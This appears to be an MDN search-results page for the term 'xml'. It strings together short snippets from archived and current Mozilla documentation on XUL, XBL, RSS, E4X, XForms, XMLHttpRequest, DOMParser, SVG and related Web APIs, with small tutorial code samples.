xul (pronounced "zool") is mozilla's xml-based user interface language that lets you build feature rich cross-platform applications that can run connected to or disconnected from the internet.
... based on existing standards xul is an xml language based on w3c standard xml 1.0.
... applications written in xul are based on additional w3c standard technologies featuring html 4.0; cascading style sheets (css) 1 and 2; document object model (dom) levels 1 and 2; javascript 1.5, including ecma-262 edition 3 (ecmascript); xml 1.0.
SeaMonkey - making custom toolbar (SM ver. 1.x) - Archive of obsolete content
paste it into the new file: <?xml version="1.0" encoding="utf-8"?> <!doctype rdf:rdf> <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:chrome="http://www.mozilla.org/rdf/chrome#"> <rdf:seq rdf:about="urn:mozilla:package:root"> <rdf:li rdf:resource="urn:mozilla:package:custombutton"/> </rdf:seq> <rdf:description rdf:about="urn:mozilla:package:custombutton" chrome:displayname="cus...
...paste it into the new file: <?xml version="1.0" encoding="utf-8"?> <?xml-stylesheet type="text/css" href="chrome://custombutton/content/button.css"?> <!doctype overlay > <overlay id="custombutton-overlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="application/javascript" src="chrome://custombutton/content/button.js"/> <!-- browser --> <toolbar id="nav-bar"> <hbox id="nav-bar-bu...
...now open a new text document in the same folder, pasting the following text within: <?xml version="1.0" encoding="utf-8"?> <!doctype rdf:rdf> <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:chrome="http://www.mozilla.org/rdf/chrome#"> <rdf:seq rdf:about="urn:mozilla:package:root"> <rdf:li rdf:resource="urn:mozilla:package:myapp"/> </rdf:seq> <rdf:description rdf:about="urn:mozilla:package:myapp" chrome:disp...
XBL Attribute Inheritance - Archive of obsolete content
<bindings xmlns:xbl="http://www.mozilla.org/xbl" xmlns:xul="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <xbl:binding id="buttonbinding"> <xbl:content> <xul:button label="ok" xbl:inherits="label"/> </xbl:content> </xbl:binding> in this example, the button inherits the label attribute, but this attribute is also given a value directly in the xbl.
...the following demonstrates this: xul: <box class="labeledtextbox" title="enter some text:" value="ok"/> css: box.labeledtextbox { -moz-binding: url('chrome://example/skin/example.xml#labeledtextbox'); } xbl: <binding id="labeledtextbox"> <content> <xul:label xbl:inherits="value=title"/> <xul:textbox xbl:inherits="value"/> </content> </binding> the textbox inherits the value attribute directly.
...here is another example: xul: <box class="okcancel" oktitle="ok" canceltitle="cancel" image="happy.png"/> css: box.okcancel { -moz-binding: url('chrome://example/skin/example.xml#okcancel'); } xbl: <binding id="okcancel"> <content> <xul:button xbl:inherits="label=oktitle,image"/> <xul:button xbl:inherits="label=canceltitle"/> </content> </binding> the value of the oktitle attribute is mapped to the label attribute of the first button.
Using the standard theme - Archive of obsolete content
applying the standard theme in order to use the theme currently chosen by the user of the base application (the so called "global skin"), you have to add the following line to your xul file: <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> this imports the styles found in the <tt>global/skin</tt> chrome directory and will make the standard xul widgets of your application use the selected chosen theme.
...you can either add multiple <tt>xml-stylesheet</tt> processing instructions to your xul file, or create an <tt>@import</tt> chain.
... multiple <tt>xml-stylesheet</tt> processing instructions simply add one <tt>xml-stylesheet</tt> processing instruction for every style sheet you want to associate with your xul file: <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <?xml-stylesheet href="chrome://myextension/skin/custom.css" type="text/css"?> <tt>@import</tt> chains first, import the global skin in your custom style sheet using the css <tt>@import</tt> rule: @import url("chrome://global/skin/"); you then have to associate your xul file with your custom style sheet only: <?x...
Using SOAP in XULRunner 1.9 - Archive of obsolete content
(there is a diff below.) you'll need: sasoapclient.js saxmlutils.js making a soap call var url = 'http://example.com/soap/'; var ns = 'http://example.com/soap/namespace'; var method = 'foo'; var params = { 'foo': 'bar', 'baz': 'bang' }; var callback = function(obj) { components.utils.reporterror(obj.tosource()); }; soapclient.proxy = url; var body = new soapobject(method); body.ns = ns; for (var k in params) { body.appendchild(new soapob...
...ject(k).val(params[k])); } var req = new soaprequest(url, body); req.action = ns + '#' + method; soapclient.sendrequest(req, callback); diff between jqsoapclient.js and sasoapclient.js 42c42 < var jsout = $.xmltojson(xdata.responsexml); --- > var jsout = xmlobjectifier.xmltojson(xdata.responsexml); 46,60c46,62 < $.ajax({ < type: "post", < url: soapclient.proxy, < datatype: "xml", < processdata: false, < data: content, < complete: getresponse, < contenttype: soapclient.contenttype + "; charset=\"" + soapclient.charset + "\"", < beforesend: function(req) { < req.setrequestheader("method", "post"); < req.setrequestheader("content-length", soapclient.contentlength); < req.setrequestheader("soapserver", soapclient.soapserver...
...); < req.setrequestheader("soapaction", soapreq.action); < } < }); --- > var xhr = new xmlhttprequest(); > xhr.mozbackgroundrequest = true; > xhr.open('post', soapclient.proxy, true); > xhr.onreadystatechange = function() { > if (4 != xhr.readystate) { return; } > getresponse(xhr); > }; > var headers = { > 'method': 'post', > 'content-type': soapclient.contenttype + '; charset="' + > soapclient.charset + '"', > 'content-length': soapclient.contentlength, > 'soapserver': soapclient.soapserver, > 'soapaction': soapreq.action > }; > for (var h in headers) { xhr.setrequestheader(h, headers[h]); } > xhr.send(content); ...
ant script to assemble an extension - Archive of obsolete content
this ant script helps to package an extension <?xml version="1.0"?> this build file was written by régis décamps <decamps@users.sf.net> <project name="blogmark" default="createxpi"> <property name="version" value="1.3-rc1"/> <property name="description" value="new context-menu item to add the current page in your blogmarks"/> xpi file is created after "chrome/blogmark.jar" is created, which is then stuffed into "blogmark.xpi" <target name="createxpi" depends="createjar" description="assemble the final build blogmark.xpi"> <zip destfile="blogmark-${version}.xpi"> <zipfileset dir="." includes="chrome/blogmark.jar" /> <zipf...
... <exclude name="**/*~"/> <exclude name="**/*.tpl.*"/> <exclude name="blogmark.jar"/> </fileset> </jar> </target> <target name="templates" description="generate files from templates."> <copy file="chrome/content/blogmark/contents.rdf.tpl.xml" tofile="chrome/content/blogmark/contents.rdf" overwrite="true"> <filterchain> <replacetokens> <token key="version" value="${version}"/> <token key="description" value="${description}"/> </repla...
...cetokens> </filterchain> </copy> <copy file="chrome/content/blogmark/about.xul.tpl.xml" tofile="chrome/content/blogmark/about.xul" overwrite="true"> <filterchain> <replacetokens> <token key="version" value="${version}"/> </replacetokens> </filterchain> </copy> <copy file="install.rdf.tpl.xml" tofile="install.rdf" overwrite="true"> <filterchain> <replacetokens> <token key="version" valu...
Archived Mozilla and build documentation - Archive of obsolete content
microsummary topics to programmatically install a microsummary generator -- for example, in an extension that helps users create custom generators for their favorite sites -- obtain a reference to the nsimicrosummaryservice interface implemented by the nsimicrosummaryservice component, then call its installgenerator() method, passing it an xml document containing the generator.
... gecko - the smart embedding choice xbdesignmode.js xml in mozilla mozilla has a relatively good support for xml.
... several world wide web consortium (w3c) recommendations and drafts from the xml family of specifications are supported, as well as other related technologies.
Syndicating content with RSS - Archive of obsolete content
when this is the case, the html web page can let people and machines know about the feed by using the <link> element, like this: <link rel="alternate" type="application/rss+xml" href="http://example.com/feed" /> adding the <a> while use of the html <link> element is powerful, it is mostly hidden.
... linking from the the html web page where the data in an rss feed is also contained makes the rss feed available for use: <a rel="alternate" type="application/rss+xml" href="http://example.com/feed">...</a> feed icons rss (and other) feeds use a special icon.
...here's a simple example of it being done: accept: application/rss+xml, text/html with real production software, though, it would look more like this: accept: application/rss+xml, application/xhtml+xml, text/html here's a more complete example: get / http/1.1 host: example.com accept: application/rss+xml, application/xhtml+xml, text/html when an http server (or server-side script) gets this, it should redirect the http client to the feed.
Version - Archive of obsolete content
some rss formats are xml-based formats.
... xml netscape netscape's rss 0.91 revision 3 july 10, 1999 xml netscape userland's rss 0.91 june 4, 2000 xml userland rss 1.0 standard december 9, 2000 rdf rss-dev working group rss 0.92 december 25, 2000 xml userland rss 0.93 april 20, 2001 xml userland rss 0.94 august ...
...19, 2002 xml userland rss 2.0 september 2002 xml userland rss 2.0 (post 2002-11-11) november 11, 2002 xml userland rss 2.0 (post 2003-01-21) standard january 21, 2003 xml userland ...
Building a Theme - Archive of obsolete content
create the install manifest open the file called install.rdf that you created at the top of your extension's folder hierarchy and put this inside: <?xml version="1.0"?> <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <em:id>sample@example.net</em:id> <em:version>1.0</em:version> <em:type>4</em:type> <!-- target application this theme can install into, with minimum and maximum supported versions.
... if you get a message that the install.rdf is malformed, it is helpful to load it into firefox using the file->open file command and it will report xml errors to you.
...xul is an xml grammar that provides user interface widgets like buttons, menus, toolbars, trees, etc.
Browser Detection and Cross Browser Support - Archive of obsolete content
introduction in an ideal world, we could author html, xml, css and javascript and only worry about the w3c and ecma standards.
... gecko was designed from the ground up to be compliant with the w3c html, w3c css, w3c xml, w3c dom, and ecmascript (javascript) standards.
...a common solution is to author content in a neutral format such as xml and use xslt transformations to generate the necessary html for each class of browser.
Descendants and Filters - Archive of obsolete content
« previousnext » accessing descendants in many cases, the node that you're interested in is not the direct child of the top xml element.
...that is, if there are multiple descendants of the requested type, an xml list is returned, instead of the normal element.
... the * selector returns all descendants in an xml list.
E4X Tutorial - Archive of obsolete content
this tutorial walks you through the basic syntax of e4x (ecmascript for xml).
... with e4x, programmers can manipulate an xml document with a syntax more familiar to javascript programming.
... subjects introduction accessing xml children descendants and filters namespaces the global xml object see also e4x processing xml with e4x next » ...
RDF: Resource Description Framework for metadata - Archive of obsolete content
ArchiveWebRDF
resource description framework (rdf) is a family of specifications for a metadata model that is often implemented as an application of xml.
... what is rdf tim bray's introduction to the resource description framework, at xml.com.
... mailing list newsgroup rss feed rdf-dev mailing list tools rdf editors and tools rdf validator related topics xml categories interwiki language links ...
Implementation Status - Archive of obsolete content
datatypes section title status notes bugs 5.1 xml schema built-in datatypes partial whitespace facet not supported.
...ding expressions and computed expressions supported 7.4.3 expressions in actions and submissions partial 7.4.4 ui expressions partial scenarios exist where controls contained inside other controls inside a repeat won't be bound correctly 333638; 7.4.5 ui binding in other xml vocabularies unsupported not a compliance requirement for an xforms processor 7.4.6 binding examples supported 7.5 xforms core function library supported 7.6.1 boolean-from-string() supported 7.6.2 is-card-number() unsu...
...rted 11.9.2 the post, multipart-post, form-data-post, and urlencoded-post submission methods supported 11.9.3 the put submission method supported 11.9.4 the delete submission method unsupported 11.9.5 serialization as application/xml supported 11.9.6 serialization as multipart/related partial 330557; 11.9.7 serialization as multipart/form-data supported 11.9.8 serialization as application/x-www-form-urlencoded supported 11.10 replacing data with the submi...
Requests For Enhancement - Archive of obsolete content
ArchiveWebXFormsRFE
one of the outstanding features of xforms is that it can work with any xml host language.
...but a form author is not restricted to only those xml languages that gecko knows.
...our custom control interfaces allows for the exchange of data between any xml element and and an xforms model.
XForms - Archive of obsolete content
drawing on other w3c standards like xml schema, xpath, and xml events, xforms tried to address some of the limitations of the current html forms model.
...other strengths that xforms brings to the table is the separation of data from presentation, strong data typing, the ability to submit xml data to servers instead of name/value pairs, and a descriptive way to author forms so that they can be displayed by a wide variety of devices.
... tools xforms validator xforms buddy related topics extensions, html, xhtml, xml, xpath ...
Mozilla's DOCTYPE sniffing - Archive of obsolete content
full standards mode the following trigger full standards mode: any document sent with an xml mime type such as text/xml, application/xml, or application/xhtml+xml (since sniffing only occurs for documents sent as text/html).
... an xml declaration (pseudo-pi) without a doctype (in other words, ignore the xml declaration and use the doctype).
... in 1.0 and 1.1alpha and earlier (but not in 1.0.1 or 1.1beta), the presence of an xml declaration triggered full standards mode.
XLink - MDN Web Docs Glossary: Definitions of Web-related terms
xlink is a w3c standard which is used to describe links between xml and xml or other documents.
... simple xlinks are "supported" in firefox (at least in svg and mathml), though they do not work as links if one loads a plain xml document with xlinks and attempts to click on the relevant points in the xml tree.
... specification xlink 1.0 xlink 1.1 (currently a working draft) see also xml in mozilla code snippets:getattributens - a wrapper for dealing with some browsers not supporting this dom method code snippets:xml:base function - a rough attempt to find a full xlink-based on an xlink:href attribute (or <xi:include href=>) and its or an ancestor's xml:base.
XSLT - MDN Web Docs Glossary: Definitions of Web-related terms
extensible stylesheet language transformations (xslt) is a declarative language used to convert xml documents into other xml documents, html, pdf, plain text, and so on.
... xslt has its own processor that accepts xml input, or any format convertible to an xquery and xpath data model.
... the xslt processor produces a new document based on the xml document and an xslt stylesheet, making no changes to the original files in the process.
Introducing asynchronous JavaScript - Learn web development
let's look at another example that loads a resource via the xmlhttprequest api (run it live, and see the source): function loadasset(url, type, callback) { let xhr = new xmlhttprequest(); xhr.open('get', url); xhr.responsetype = type; xhr.onload = function() { callback(xhr.response); }; xhr.send(); } function displayimage(blob) { let objecturl = url.createobjecturl(blob); let image = document.createelement('img'); image.src = object...
...it uses xmlhttprequest (often abbreviated to "xhr") to fetch the resource at the given url, then pass the response to the callback to do something with.
...a good example is the fetch() api, which is basically like a modern, more efficient version of xmlhttprequest.
Working with JSON - Learn web development
we are going to load it into our page, and use some nifty dom manipulation to display it, like this: obtaining the json to obtain the json, we use an api called xmlhttprequest (often called xhr).
...add the following at the bottom of your javascript code: let requesturl = 'https://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json'; to create a request, we need to create a new request object instance from the xmlhttprequest constructor, using the new keyword.
... add the following below your last line: let request = new xmlhttprequest(); now we need to open the request using the open() method.
Client-Server Overview - Learn web development
er.mozilla.org/search?q=client+server+overview&topic=apps&topic=html&topic=css&topic=js&topic=api&topic=webdev http/1.1 host: developer.mozilla.org connection: keep-alive pragma: no-cache cache-control: no-cache upgrade-insecure-requests: 1 user-agent: mozilla/5.0 (windows nt 10.0; wow64) applewebkit/537.36 (khtml, like gecko) chrome/52.0.2743.116 safari/537.36 accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 referer: https://developer.mozilla.org/ accept-encoding: gzip, deflate, sdch, br accept-charset: iso-8859-1,utf-8;q=0.7,*;q=0.7 accept-language: en-us,en;q=0.8,es;q=0.6 cookie: sessionid=6ynxs23n521lu21b1t136rhbv7ezngie; csrftoken=zipujsazv6pcgcbjscj1zu6pqzbfmuat; dwf_section_edit=false; dwf_sg_task_completion=false; _gat=1; _ga=ga1.2.1688886003.14719119...
...edit http/1.1 host: developer.mozilla.org connection: keep-alive content-length: 432 pragma: no-cache cache-control: no-cache origin: https://developer.mozilla.org upgrade-insecure-requests: 1 user-agent: mozilla/5.0 (windows nt 10.0; wow64) applewebkit/537.36 (khtml, like gecko) chrome/52.0.2743.116 safari/537.36 content-type: application/x-www-form-urlencoded accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 referer: https://developer.mozilla.org/profiles/hamishwillee/edit accept-encoding: gzip, deflate, br accept-language: en-us,en;q=0.8,es;q=0.6 cookie: sessionid=6ynxs23n521lu21b1t136rhbv7ezngie; _gat=1; csrftoken=zipujsazv6pcgcbjscj1zu6pqzbfmuat; dwf_section_edit=false; dwf_sg_task_completion=false; _ga=ga1.2.1688886003.1471911953; ffo=true csrfmiddlewar...
...it can instead dynamically create and return other types of files (text, pdf, csv, etc.) or even data (json, xml, etc.).
Accessible Toolkit Checklist
supporting the basic msaa states on every item: unavailable, focused, readonly, offscreen, focusable to avoid extra work, utilize implementing an msaa server mnemonics ability to define in xml for any widget with a text label (via attribute or a preceding char in label) automatically define mnemonics for all standard common dialogs (like yes/no confirmations and retry/exit error dialogs) support mnemonics in dialogs created via method calls layout engine - drawing underline under correct letter events - making keystrokes do the right thing msaa support, vi...
... the high contrast theme can be toggled dynamically with leftalt+leftshift+printscreen expose the spi_getscreenreader flag to xml/scripts so that apps can alter behavior use system highlight color where possible for item selection, but never use that exact color in more than 1 place at a time, otherwise screen reader will read everything with that color whenever highlight changes pay attention to spi_getcaretwidth for the correct width of the caret pay attention to 'route mouse pointer to default button' s...
... msaa support, including the haspopup state default buttons ability to define in xml enter key fires it, but not when another widget has focus that needs the enter key layout engine - drawing dark border dynamically when the currently focused widget does not need the enter key events - making keystrokes do the right thing msaa support (default state) links enter key activates link (thus default button no longer shows dark border when l...
Index
20 localizing xliff files for ios oasis, translate, xliff, xml, ios firefox for ios uses the xliff xml-based file format to hold and transfer localization data.
...the goal of the standard is to have an xml-based format to use when exchanging localization data between tools without the potential of data loss or corruption.
...editing the raw xliff file is also rather easy, especially if you're already familiar with xml.
Extras
"50%" r="50%" fx="50%" fy="50%"> <stop offset="0%" style="stop-color:rgb(255,255,255); stop-opacity:1;"/> <stop offset="100%" style="stop-color:rgb(255,0,0); stop-opacity:.8;"/> </radialgradient> </defs> <g transform="translate(15,15)"> <g> <animatetransform attributename="transform" attributetype="xml" type="rotate" from="360" to="0" dur="15s" repeatcount="indefinite"/> <g transform="translate(-15, -15)"> <path fill="url(#radgrad1)" d="m 15 0 l 20 10 l 30 15 l 20 20 l 15 30 l 10 20 l 0 15 l 10 10"/> </g> </g> </g> </svg> </mtext> </mpadded> </msqrt> <mo>=</mo> <msubsup> <mo>∫</mo> <...
..."grad3" cx="50%" cy="50%" r="50%" fx="50%" fy="50%"> <stop offset="0%" style="stop-color:rgb(0,255,255);stop-opacity:1"/> <stop offset="100%" style="stop-color:rgb(255,255,255);stop-opacity:.8"/> </radialgradient> </defs> <rect width="300" height="250" fill="url(#grad1)"/> <g transform="translate(150,125)"> <g> <animatetransform attributename="transform" attributetype="xml" type="rotate" from="0" to="360" dur="6s" repeatcount="indefinite"/> <g transform="translate(-50,-35)"> <rect width="100" height="70" fill="url(#grad2)"/> <switch> <foreignobject width="100" height="70" requiredextensions="http://www.w3.org/1998/math/mathml"> <math display="block"> <mrow> <mo>(</mo> <mtable> <mtr> <mtd><mi>cos</mi><mi>θ</mi><...
.../mi></mtd> </mtr> </mtable> <mo>)</mo> </mrow> </math> </foreignobject> <text>rotation matrix</text> </switch> </g></g></g> <g> <animatemotion path="m 32,69 c 64,121 100,27 152,42 203,56 239,257 275,161 295,109 144,221 88,214 -2,202 11,35 32,69 z" begin="0s" dur="20s" repeatcount="indefinite"/> <animatetransform attributename="transform" attributetype="xml" type="scale" values="1;2;.5;1" keytimes="0;.25;.75;1" dur="20s" repeatcount="indefinite"/> <circle fill="url(#grad3)" r="30"/> <g transform="translate(-30,-30)"> <switch> <foreignobject width="60" height="60" requiredextensions="http://www.w3.org/1998/math/mathml"> <math display="block"> <mrow> <munderover> <mo>∑</mo> <mrow> <mi>n</mi> <mo>=</mo> <mn>0</mn> </mrow> <mro...
Mozilla DOM Hacking Guide
there are classes for the dom0, core dom, html, xml, xul, xbl, range, css, events, etc...
... there are two other similar macros: #define dom_classinfo_map_begin_no_primary_interface(_class) _dom_classinfo_map_begin(_class, nsnull, pr_true) this macro is used if the dom class (for example xmlhttprequest) does not have any interface, yet you want the xmlhttprequest object to be available from javascript.
...if you don't like macros, you can see the full queryinterface implementation in nsxmlelement.cpp.
Rhino downloads archive
4 2003-02-10 changes in 1.5r4 rhino15r4.zip rhino 1.5r3 2002-01-27 changes in 1.5r3 rhino15r3.zip rhino 1.5r2 2001-07-27 changes in 1.5r2 rhino15r2.zip rhino 1.5r1 2000-09-10 changes in 1.5r1 rhino15r1.zip rhino 1.4r3 1999-05-10 initial public release rhino14r3.zip rhino 1.6r1 through 1.6r6 implement e4x using xmlbeans library.
... if you would like to use e4x you need to add xbean.jar from xmlbeans distribution to your class path.
...(pre-java 1.5 users can use dom3 using java's endorsed standards override mechanism if they have a dom3-capable xml parser.) if neither xmlbeans nor dom3 are present, e4x is not available.
AT APIs Support
gecko based applications gecko can be used in two ways to create application: embedded clients embedded clients use gecko only in the content window, at the moment for html and generic xml only.
...widgets such as menus, tab panels, tree views and dialogs are provided via an xml language called xul (extensible user-interface language).
... accessible web standards gecko exposes the number of xml languages including html to at.
Using the Places livemark service
var newlvmkid = livemarkservice.createlivemark(parentfolderid, "livemark name", uri("http://example.com/"), uri("http://example.com/rss.xml"), -1); the first parameter is the id of the folder in which to create the livemark.
... getservice(components.interfaces.nsinavbookmarksservice); var root = bmsvc.bookmarksmenufolder; // item id of the bookmarks menu var newlvmkid = livemarkservice.createlivemarkfolderonly(bmsvc, root, "livemark name", uri("http://example.com/"), uri("http://example.com/rss.xml"), -1); the parameters here are the same as for nsilivemarkservice.createlivemark(), except for the insertion of a new parameter at the beginning, which is the nsinavbookmarksservice to use when creating the livemark.
... livemarkservice.setfeeduri(newlvmkid, uri("http://foo.example.com/rss.xml")); //newlvmkid = see "create a new livemark" for more detail.
Components.utils.importGlobalProperties
system scopes such as jsms and frame scripts don't have certain objects, such as indexeddb and xmlhttprequest, that are available to dom window globals.
...nt atob blob btoa crypto css fetch file nsidomfile indexeddb nodefilter firefox 60 nsidomnodefilter obsolete since gecko 60 rtcidentityprovider textdecoder textencoder url urlsearchparams xmlhttprequest nsixmlhttprequest obsolete since gecko 60 for string/object in table without a minimum firefox version, it is not exactly known since when it was available, however it is guranteed available from firefox 28 and up.
... var domfile = services.appshell.hiddendomwindow.file('/path/to/file'); xpcom components some objects have an xpcom alternative, which typically allows more flexibility then the dom version here is an example of how to use the dom xmlhttprequest through xpcom interface of nsixmlhttprequest: var oreq = cc["@mozilla.org/xmlextras/xmlhttprequest;1"].createinstance(ci.nsixmlhttprequest); ...
nsIDOMParser
to create a domparser when the constructor is not available (e.g., from a js xpcom component, a js module, or an xpcshell test), use: var parser = components.classes["@mozilla.org/xmlextras/domparser;1"] .createinstance(components.interfaces.nsidomparser); // optionally, call parser.init(principal, documenturi, baseuri); principals, document and base uri note: this section covers changes introduced to domparser in gecko 1.9.
... parsing a string once you've created a domparser object, you can use its parsefromstring method to parse xml or html as described in the web platform documentation.
... examples within the context of a window: var parser = new domparser(); var doc = parser.parsefromstring(astr, "application/xml"); outside of a window (e.g., a js xpcom component, a js module, or an xpcshell test): var parser = components.classes["@mozilla.org/xmlextras/domparser;1"] .createinstance(components.interfaces.nsidomparser); var doc = parser.parsefromstring(astr, "application/xml"); using components.constructor(): const domparser = new components.constructor("@mozilla.org/xmlextras/domparser;1", "nsidomparser"); var parser = new domparser(); parser.init(principal, documenturi, baseuri); var doc = parser.parsefromstring(astr, "application/xml"); ...
nsIIOService
but if the load is coming from a js api (such as xmlhttprequest) or if the load might be coalesced across multiple elements (such as for ) then pass in the document node instead.
...but if the load is coming from a js api (such as xmlhttprequest) or if the load might be coalesced across multiple elements (such as for <img>) then pass in the document node instead.
...but if the load is coming from a js api (such as xmlhttprequest) or if the load might be coalesced across multiple elements (such as for ) then pass in the document node instead.
nsIMicrosummaryService
nsisimpleenumerator getbookmarks(); nsimicrosummarygenerator getgenerator(in nsiuri generatoruri); nsimicrosummaryset getmicrosummaries(in nsiuri pageuri, in long long bookmarkid); nsimicrosummary getmicrosummary(in long long bookmarkid); boolean hasmicrosummary(in long long bookmarkid); nsimicrosummarygenerator installgenerator(in nsidomdocument xmldefinition); boolean ismicrosummary(in long long bookmarkid, in nsimicrosummary microsummary); nsimicrosummary refreshmicrosummary(in long long bookmarkid); void removemicrosummary(in long long bookmarkid); void setmicrosummary(in long long bookmarkid, in nsimicrosummary microsummary); methods addgenerator() install the microsummary generator from the reso...
...installgenerator() install the microsummary generator in the given xml definition.
... nsimicrosummarygenerator installgenerator( in nsidomdocument xmldefinition ); parameters xmldefinition an nsidomdocument xml document defining the generator.
nsIParserUtils
illa.org/parserutils;1 as a service: var parserutils = components.classes["@mozilla.org/parserutils;1"] .getservice(components.interfaces.nsiparserutils); method overview astring converttoplaintext(in astring src, in unsigned long flags, in unsigned long wrapcol); nsidomdocumentfragment parsefragment(in astring fragment, in unsigned long flags, in boolean isxml, in nsiuri baseuri, in nsidomelement element); astring sanitize(in astring src, in unsigned long flags); constants constant value description sanitizerallowcomments (1 << 0) flag for sanitizer: allow comment nodes.
... nsidomdocumentfragment parsefragment( in astring fragment, in unsigned long flags, in boolean isxml, in nsiuri baseuri, in nsidomelement element ); parameters fragment the input markup.
... isxml true if |fragment| is xml and false if html.
Mozilla technologies
these services include:viewing and searching mozilla source code onlinesource code for all mozilla projects hosted in the mercurial repositories can be searched and viewed online using searchfox, a fast indexed search engine that runs on aws.xml extrasthe xml extras module contains several features that allow developers to treat xml as data i.e.
...the module is structured as a drop-in component and exposes its xml-as-data features both to javascript and c++/xpcom users.
... the xml extras module is built by default on all platforms, and is included in the browser installers so it is available in the nightly builds.xpcomxpcom is a cross platform component object model, similar to microsoft com.
Index
it shares many of the technologies used by mozilla firefox, including javascript, the gecko layout engine, the xul xml user interface language and the xpcom cross-platform component object model.
...when this tutorial is finished, our extension will look like this: 76 building a thunderbird extension 3: install manifest extensions, thunderbird the install.rdf file is an xml file that provides general information about the extension.
...xul is an xml grammar that provides user interface widgets like buttons, menus, toolbars, trees etc.
Mozilla
a mozsearch search plugin is an xml file that describes the search engine, its url, and the parameters that need to be passed to that url.
... mozilla svg project since you have come this far, you probably already know that svg stands for scalable vector graphics, and that it is an xml language for sophisticated 2-dimensional graphics.
... xmlhttprequest changes for gecko1.8 this document describes some of the changes that have been made to gecko's xmlhttprequest implementation since version 1.7 (i.e., the version of gecko that shipped with firefox 1.0).
Index - Firefox Developer Tools
46 network monitor debugging, dev tools, firefox, guide, networking, tools, l10n:priority the network monitor shows you all the network requests firefox makes (for example, when it loads a page, or due to xmlhttprequests), how long each request takes, and details of each request.
... 135 set an xhr breakpoint debugger, debugging, javascript, xhr breakpoint an xhr (xmlhttprequest) breakpoint breaks code execution when an xhr request is dispatched so that you can examine the current state of the program.
... 144 view source devtools, firefox, view page source view source lets you look at the html or xml source for the page you're viewing.
Attr.localName - Web APIs
WebAPIAttrlocalName
qualified names are typically used in xml as part of the namespace(s) of the particular xml documents.
... note: in gecko 1.9.2 and earlier, the property returns the upper-cased version of the local name for html attributes in html doms (as opposed to xhtml attributes in xml doms).
... in later versions, in compliance with html5, the property returns in the case of the internal dom storage, which is lower case for both html attributes in html doms and xhtml attributes in xml doms.
BaseAudioContext.decodeAudioData() - Web APIs
in this case the arraybuffer is loaded from xmlhttprequest and filereader.
... syntax older callback syntax: baseaudiocontext.decodeaudiodata(arraybuffer, successcallback, errorcallback); newer promise-based syntax: promise<decodeddata> baseaudiocontext.decodeaudiodata(arraybuffer); parameters arraybuffer an arraybuffer containing the audio data to be decoded, usually grabbed from xmlhttprequest, windoworworkerglobalscope.fetch() or filereader.
...// then we put the buffer into the source function getdata() { source = audioctx.createbuffersource(); var request = new xmlhttprequest(); request.open('get', 'viper.ogg', true); request.responsetype = 'arraybuffer'; request.onload = function() { var audiodata = request.response; audioctx.decodeaudiodata(audiodata, function(buffer) { source.buffer = buffer; source.connect(audioctx.destination); source.loop = true; }, function(e){ console.log("error with decoding ...
CDATASection - Web APIs
the cdatasection interface represents a cdata section that can be used within xml to include extended portions of unescaped text.
... in xml, a cdata section looks like: <![cdata[ ...
... ]]> for example: <foo>here is a cdata section: <![cdata[ < > & ]]> with all kinds of unescaped text.</foo> the only sequence which is not allowed within a cdata section is the closing sequence of a cdata section itself, ]]>: <![cdata[ ]]> will cause an error ]]> note that cdata sections should not be used within html; they only work in xml.
Document.createProcessingInstruction() - Web APIs
the new node usually will be inserted into an xml document in order to accomplish anything with it, such as with node.insertbefore.
... exceptions dom_invalid_character throws if either of the following are true: the processing instruction target is invalid — it should be a valid xml name that doesn't contain "xml", "xml", or any case combination of the two, other than standardized ones such as <?xml-stylesheet ?>.
... example var doc = new domparser().parsefromstring('<foo />', 'application/xml'); var pi = doc.createprocessinginstruction('xml-stylesheet', 'href="mycss.css" type="text/css"'); doc.insertbefore(pi, doc.firstchild); console.log(new xmlserializer().serializetostring(doc)); // displays: <?xml-stylesheet href="mycss.css" type="text/css"?><foo/> specifications specification status comment domthe definition of 'createprocessinginstruction()' in that specification.
How to create a DOM tree - Web APIs
dynamically creating a dom tree consider the following xml document: <?xml version="1.0"?> <people> <person first-name="eric" middle-initial="h" last-name="jung"> <address street="321 south st" city="denver" state="co" country="usa"/> <address street="123 main st" city="arlington" state="ma" country="usa"/> </person> <person first-name="jed" last-name="brown"> <address street="321 north st" city="atlanta" state="ga" country="usa"/> <address street="123 west st" city="seattle" state="wa" country="usa"/> <address street="321 south avenue" cit...
... dom trees can be queried using xpath expressions, converted to strings or written to a local or remote files using xmlserializer (without having to first convert to a string), posted to a web server (via xmlhttprequest), transformed using xslt, xlink, converted to a javascript object through a jxon algorithm, etc.
...another application is that, since xul is xml, the ui of your application can be dynamically manipulated, downloaded, uploaded, saved, loaded, converted, or transformed quite easily.
Element.getAttributeNS() - Web APIs
<svg xmlns="http://www.w3.org/2000/svg" xmlns:test="http://www.example.com/2014/test" width="40" height="40"> <circle id="target" cx="12" cy="12" r="10" stroke="#444" stroke-width="2" fill="none" test:foo="hello namespaced attribute!"/> <script type="text/javascript"> var ns = 'http://www.example.com/2014/test'; var circle = document.getelementbyid( 'target' ); console.log( 'a...
... <!doctype html> <html> <body> <svg xmlns="http://www.w3.org/2000/svg" xmlns:test="http://www.example.com/2014/test" width="40" height="40"> <circle id="target" cx="12" cy="12" r="10" stroke="#444" stroke-width="2" fill="none" test:foo="foo value"/> </svg> <script type="text/javascript"> var ns = 'http://www.example.com/2014/test'; var circle = document.getelementbyid( 'target' ); console.log('attribute value: ' + circle.getattribute('test:foo')); </script> </body> </html> notes namespaces are only supported in xml documents.
... obsolete specifies that a not_supported_err exception is thrown if the ua does not support the "xml" feature.
Recommended Drag Types - Web APIs
for example: http://www.mozilla.org mozilla http://www.example.com example dragging html and xml html content may use the text/html type.
... xml content may use the text/xml type, but ensure that the data is well-formed xml.
... you may also include a plain text representation of the html or xml data using the text/plain type.
Node.namespaceURI - Web APIs
WebAPINodenamespaceURI
when the node is a document, it returns the xml namespace for the current document.
